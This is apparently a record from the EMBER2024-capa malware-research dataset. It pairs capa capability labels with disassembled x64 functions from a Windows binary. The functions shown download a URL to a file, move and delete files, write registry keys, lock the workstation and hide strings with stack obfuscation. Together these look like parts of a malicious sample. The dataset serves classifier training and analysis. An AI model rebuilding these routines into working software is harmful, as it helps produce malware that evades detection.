joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2319429cc
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], r8d
mov dword [rbp + 0x38], r9d
mov ecx, dword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x38], 0
je 0x231942af4
mov rdx, qword [rbp + 0x50]
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.2319dfd80
lea rcx, [rbp - 0x31]
mov rdx, qword [rbp + 0x50]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 1]
mov rcx, rax
call fcn.2319dfd80
lea rcx, [rbp - 1]
mov rdx, qword [rbp + 0x50]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov r8d, 0x8000000
mov rcx, rax
call sym.f_xpc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 1]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov eax, dword [rbp + 0x30]
mov rcx, qword [rbp + 0x28]
mov rdx, rax
call sym.RtlSecureZeroMemory
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x231942b56
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x231943e27
Capabilities:
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
add rsp, 0x30
pop rbp
ret
Function at 0x2319448e9
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [rbp - 8], rax
mov ecx, 0
mov rax, qword [sym.imp.ole32.dll_CoInitialize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x23194494b
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
jmp 0x231944a95
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9, qword [0x231ed1840]
mov r8d, 1
mov edx, 0
mov rax, qword [0x231ed1830]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCreateInstance]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x23194498d
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
jmp 0x231944a95
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x20]
mov r8, rax
mov rax, qword [0x231ed1850]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319449c6
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
jmp 0x231944a95
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x28]
mov r8, rax
mov rax, qword [0x231ed1860]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319449ff
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
jmp 0x231944a95
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x68
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
add rdx, 0x10
mov rdx, qword [rdx]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x231944a39
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
jmp 0x231944a95
mov edx, 0
mov ecx, 0xbb8
call sym.f_slpc_unsigned_long__int_
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x38
mov rdx, qword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call rdx
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x231944a8e
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x48
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x2c]
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
call r9
jmp 0x231944a95
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x2c], eax
nop
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x20]
mov rcx, rdx
call rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x28]
mov rcx, rdx
call rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x18]
mov rcx, rdx
call rax
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
mov eax, dword [rbp - 0x2c]
add rsp, 0x60
pop rbp
ret
Function at 0x2319456df
Capabilities:
Open clipboard

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x231945710
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x20
pop rbp
ret
Function at 0x231946146
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x10]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
test eax, eax
sete al
test al, al
je 0x2319461b9
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 0x18]
mov dword [rsp + 0x28], 0x14
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8, rcx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
call rax
jmp 0x231946243
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x40], 0
lea rdx, [rbp - 8]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x231946243
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 0x18]
mov dword [rsp + 0x28], 0x14
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8, rcx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x60
pop rbp
ret

Function at 0x231946262
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 4
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x10]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
sete al
test al, al
je 0x2319462e6
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 0x18]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x30], rdx
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0x10
mov r8, rcx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegGetValueA]
call rax
jmp 0x231946358
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x231946358
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 0x18]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x30], rdx
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0x10
mov r8, rcx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegGetValueA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [rbp - 0xc]
add rsp, 0x50
pop rbp
ret
Function at 0x2319463cc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x3a
mov byte [rbp - 0x50], 0x18
mov byte [rbp - 0x4f], 0x84
mov byte [rbp - 0x4e], 0xb1
mov byte [rbp - 0x4d], 0x29
mov byte [rbp - 0x4c], 0xa8
mov byte [rbp - 0x4b], 8
mov byte [rbp - 0x4a], 0xb9
mov byte [rbp - 0x49], 0xc8
mov byte [rbp - 0x48], 0x17
mov byte [rbp - 0x47], 0xa6
mov byte [rbp - 0x46], 0xbe
mov byte [rbp - 0x45], 0x3e
mov byte [rbp - 0x44], 0xad
mov byte [rbp - 0x43], 6
mov byte [rbp - 0x42], 0xb8
mov byte [rbp - 0x41], 0xc2
mov byte [rbp - 0x40], 0x2d
mov byte [rbp - 0x3f], 0x9f
mov byte [rbp - 0x3e], 0x8b
mov byte [rbp - 0x3d], 0xa
mov byte [rbp - 0x3c], 0xb6
mov byte [rbp - 0x3b], 7
mov byte [rbp - 0x3a], 0xaf
mov byte [rbp - 0x39], 0xc2
mov byte [rbp - 0x38], 0x3c
mov byte [rbp - 0x37], 0x98
mov byte [rbp - 0x36], 0x8b
mov byte [rbp - 0x35], 0x1e
mov byte [rbp - 0x34], 0xaa
mov byte [rbp - 0x33], 0x1b
mov byte [rbp - 0x32], 0xb9
mov byte [rbp - 0x31], 0xc8
mov byte [rbp - 0x30], 0x25
mov byte [rbp - 0x2f], 0x9f
mov byte [rbp - 0x2e], 0x81
mov byte [rbp - 0x2d], 0x38
mov byte [rbp - 0x2c], 0xad
mov byte [rbp - 0x2b], 0x1a
mov byte [rbp - 0x2a], 0xa2
mov byte [rbp - 0x29], 0xc2
mov byte [rbp - 0x28], 0x25
mov byte [rbp - 0x27], 0xb7
mov byte [rbp - 0x26], 0x87
mov byte [rbp - 0x25], 0x32
mov byte [rbp - 0x24], 0xb3
mov byte [rbp - 0x23], 0
mov byte [rbp - 0x22], 0xa8
mov byte [rbp - 0x21], 0xc4
mov byte [rbp - 0x20], 0x2e
mov byte [rbp - 0x1f], 0x98
mov byte [rbp - 0x1e], 0x8b
mov byte [rbp - 0x1d], 0xe
mov byte [rbp - 0x1c], 0xa6
mov byte [rbp - 0x1b], 0x1a
mov byte [rbp - 0x1a], 0xbf
mov byte [rbp - 0x19], 0xc8
mov byte [rbp - 0x18], 0x26
mov byte [rbp - 0x17], 0xeb
lea rax, [0x231ec7b00]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x231946535
lea rax, [0x231ec7b20]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x50]
mov rdx, rax
call method.ay::obfuscated_data_58ull__12523219596906851147ull__char_.obfuscated_data_ay::obfuscator_58ull__12523219596906851147ull__char__const_
lea rax, [0x231ec7b00]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec7b20]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_58ull__12523219596906851147ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec7b20]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x70
pop rbp
ret
Function at 0x2319466f6
Capabilities:
Lock the desktop

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov dword [rbp + 0x20], ecx
lea rax, [rbp - 7]
mov rcx, rax
call sym.f_lws_int_::lambda__2::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__12523219596906851147ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp - 6]
mov rcx, rax
call sym.f_lws_int_::lambda__1::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_58ull__12523219596906851147ull__char_.operator_char__
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sym.f_rg_int__char_const__char_const__char_const_
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x231946767
mov rax, qword [sym.imp.USER32.dll_LockWorkStation]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
call rax
jmp 0x2319467b3
cmp dword [rbp + 0x20], 0
je 0x2319467a5
lea rax, [rbp - 5]
mov rcx, rax
call sym.f_lws_int_::lambda__3::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__1133197733394871227ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ed1e50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ecx, 0x3f0
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x2319469fa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x17
mov byte [rbp - 0x20], 6
mov byte [rbp - 0x1f], 0xd8
mov byte [rbp - 0x1e], 0xa3
mov byte [rbp - 0x1d], 0
mov byte [rbp - 0x1c], 0x67
mov byte [rbp - 0x1b], 0x12
mov byte [rbp - 0x1a], 0x45
mov byte [rbp - 0x19], 0xde
mov byte [rbp - 0x18], 0x3e
mov byte [rbp - 0x17], 0xdf
mov byte [rbp - 0x16], 0x9e
mov byte [rbp - 0x15], 0x36
mov byte [rbp - 0x14], 0x7d
mov byte [rbp - 0x13], 0x17
mov byte [rbp - 0x12], 0x7c
mov byte [rbp - 0x11], 0xd2
mov byte [rbp - 0x10], 0x22
mov byte [rbp - 0xf], 0xc2
mov byte [rbp - 0xe], 0xac
mov byte [rbp - 0xd], 0x34
mov byte [rbp - 0xc], 0x76
mov byte [rbp - 0xb], 0x32
mov byte [rbp - 0xa], 0x31
lea rax, [0x231ec7980]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x231946ad7
lea rax, [0x231ec79a0]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.ay::obfuscated_data_23ull__13200458509647196497ull__char_.obfuscated_data_ay::obfuscator_23ull__13200458509647196497ull__char__const_
lea rax, [0x231ec7980]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec79a0]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_23ull__13200458509647196497ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec79a0]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x40
pop rbp
ret
Function at 0x231947090
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp - 8], 0
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov ebx, eax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rcx, rax
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov edx, ebx
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
setne al
test al, al
je 0x2319471b6
lea rax, [rbp - 3]
mov rcx, rax
call fcn.2319dfd80
mov eax, dword [rbp - 8]
mov ecx, eax
lea rdx, [rbp - 3]
lea rax, [rbp - 0x30]
mov r9, rdx
mov r8d, 0
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp - 3]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x30]
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
mov rbx, rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov esi, eax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rcx, rax
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8d, 0x40000001
mov edx, esi
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
setne al
test al, al
je 0x23194719c
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x20]
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov ebx, 0
jmp 0x2319471a1
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x231947248
lea rax, [rbp - 2]
mov rcx, rax
call fcn.2319dfd80
lea rax, [rbp - 1]
mov rcx, rax
call sym.f_eb64_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_::lambda__1::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8783450493831703475ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp - 2]
mov rax, qword [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 2]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x231947248
mov rax, qword [rbp + 0x20]
add rsp, 0x60
pop rbx
pop rsi
pop rbp
ret
Function at 0x2319472f2
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp - 8], 0
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov ebx, eax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, ebx
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
setne al
test al, al
je 0x23194743c
lea rax, [rbp - 3]
mov rcx, rax
call fcn.2319dfd80
mov eax, dword [rbp - 8]
mov ecx, eax
lea rdx, [rbp - 3]
lea rax, [rbp - 0x30]
mov r9, rdx
mov r8d, 0
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp - 3]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x30]
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
mov rbx, rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov esi, eax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8d, 1
mov edx, esi
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
setne al
test al, al
je 0x231947422
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0x20]
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov ebx, 0
jmp 0x231947427
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x2319474ce
lea rax, [rbp - 2]
mov rcx, rax
call fcn.2319dfd80
lea rax, [rbp - 1]
mov rcx, rax
call sym.f_db64_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_::lambda__1::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__14382721760628007907ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp - 2]
mov rax, qword [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 2]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x2319474ce
mov rax, qword [rbp + 0x20]
add rsp, 0x70
pop rbx
pop rsi
pop rbp
ret
Function at 0x23194758b
Capabilities:
Manipulate console buffer

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp - 8], rax
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 8]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
call rax
movzx eax, word [rbp - 0x30]
movsx edx, ax
movzx eax, word [rbp - 0x2e]
cwde
imul eax, edx
mov dword [rbp - 0xc], eax
mov di, 0
movzx eax, di
mov edi, eax
mov ecx, dword [rbp - 0xc]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, edi
mov r8d, ecx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
call rax
mov si, 0
movzx eax, si
mov esi, eax
movzx eax, word [rbp - 0x28]
movzx eax, ax
mov r8d, dword [rbp - 0xc]
mov rcx, qword [rbp - 8]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, esi
mov edx, eax
mov rax, qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
call rax
mov bx, 0
movzx eax, bx
mov ebx, eax
mov rax, qword [rbp - 8]
mov edx, ebx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2319482f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x17
mov byte [rbp - 0x20], 0x26
mov byte [rbp - 0x1f], 0x2e
mov byte [rbp - 0x1e], 0xe4
mov byte [rbp - 0x1d], 0x50
mov byte [rbp - 0x1c], 0x9e
mov byte [rbp - 0x1b], 0xa9
mov byte [rbp - 0x1a], 0x5a
mov byte [rbp - 0x19], 0xa9
mov byte [rbp - 0x18], 0xa
mov byte [rbp - 0x17], 0x37
mov byte [rbp - 0x16], 0xe7
mov byte [rbp - 0x15], 3
mov byte [rbp - 0x14], 0x94
mov byte [rbp - 0x13], 0xa8
mov byte [rbp - 0x12], 0x50
mov byte [rbp - 0x11], 0xf9
mov byte [rbp - 0x10], 4
mov byte [rbp - 0xf], 0x29
mov byte [rbp - 0xe], 0xf2
mov byte [rbp - 0xd], 0x4d
mov byte [rbp - 0xc], 0x83
mov byte [rbp - 0xb], 0xc0
mov byte [rbp - 0xa], 0x3d
lea rax, [0x231ec74c0]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x2319483cd
lea rax, [0x231ec74e0]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.ay::obfuscated_data_23ull__9889280221043443563ull__char_.obfuscated_data_ay::obfuscator_23ull__9889280221043443563ull__char__const_
lea rax, [0x231ec74c0]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec74e0]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_23ull__9889280221043443563ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec74e0]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x40
pop rbp
ret